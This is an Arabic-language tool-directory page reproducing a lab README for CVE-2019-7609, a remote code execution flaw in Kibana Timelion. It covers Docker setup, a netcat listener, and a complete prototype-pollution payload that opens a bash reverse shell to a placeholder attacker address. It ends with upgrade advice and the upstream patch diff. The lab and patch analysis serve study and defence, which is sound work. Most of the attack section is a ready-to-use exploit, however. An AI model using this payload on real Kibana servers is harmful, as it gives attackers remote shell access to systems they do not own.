Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2019-7609 — بيئة مختبر قائمة على Docker واستغلال لـ CVE-2019-7609 (Kibana Timelion RCE) مع حمولة شل عكسية وتحليل التصحيح. | Kitploit
أدوات/GitHubGitHub/hekadan/cve-2019-7609
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمأداة الوصول عن بعدمختبرات وتدريب عملي
GitHubhekadan/cve-2019-7609

CVE-2019-7609

بيئة مختبر قائمة على Docker واستغلال لـ CVE-2019-7609 (Kibana Timelion RCE) مع حمولة شل عكسية وتحليل التصحيح.

عرض المستودع
203منذ 6 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2019-7609 (Kibana)

ثغرة تسمح بتنفيذ التعليمات البرمجية عن بعد بسبب خلل في مصور Timelion في Kibana

الإعداد البيئي (docker)

  1. قم بتشغيل ملف docker-compose.yml المرفق.
root@kitploit:~
docker-comopse up -d
  1. قم بزيارة http://127.0.0.1:5601 في المتصفح.

الاستغلال

  1. قم بإعداد shell عكسي.
root@kitploit:~
$ nc -lvp 6666
  1. في شاشة Timelion الخاصة بـ Kibana، أدخل الحمولة ثم اضغط على تنفيذ.
root@kitploit:~
.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash -i >& /dev/tcp/<공격자서버IP>/6666 0>&1");process.exit()//').props(label.__proto__.env.NODE_OPTIONS='--require /proc/self/environ')

  1. انقر على Canvas في اللوحة اليسرى.
  2. سيتم الاتصال من خادم Kibana عبر shell عكسي :)

payload reverse-shell

التصحيح

قم بتحديث Kibana إلى الإصدار 6.6.1 أو 5.6.15 فأعلى.

كود المصدر المعدل

https://github.com/elastic/kibana/commit/3377f813a5d96ff466bdf7343ce161de24830ed4.patch

root@kitploit:~
From 3377f813a5d96ff466bdf7343ce161de24830ed4 Mon Sep 17 00:00:00 2001
From: ppisljar <[email protected]>
Date: Wed, 16 Jan 2019 06:01:20 -0800
Subject: [PATCH] fixes

---
 .../core_plugins/timelion/server/series_functions/props.js      | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/src/legacy/core_plugins/timelion/server/series_functions/props.js b/src/legacy/core_plugins/timelion/server/series_functions/props.js
index 81b74901d4db..80e9cafd6712 100644
--- a/src/legacy/core_plugins/timelion/server/series_functions/props.js
+++ b/src/legacy/core_plugins/timelion/server/series_functions/props.js
@@ -32,7 +32,7 @@ function unflatten(data) {
     let prop = '';
     let m;
     while (m = regex.exec(p)) {
-      cur = cur[prop] || (cur[prop] = (m[2] ? [] : {}));
+      cur = (cur.hasOwnProperty(prop) && cur[prop]) || (cur[prop] = (m[2] ? [] : {}));
       prop = m[2] || m[1];
     }
     cur[prop] = data[p];
تنزيل الأداة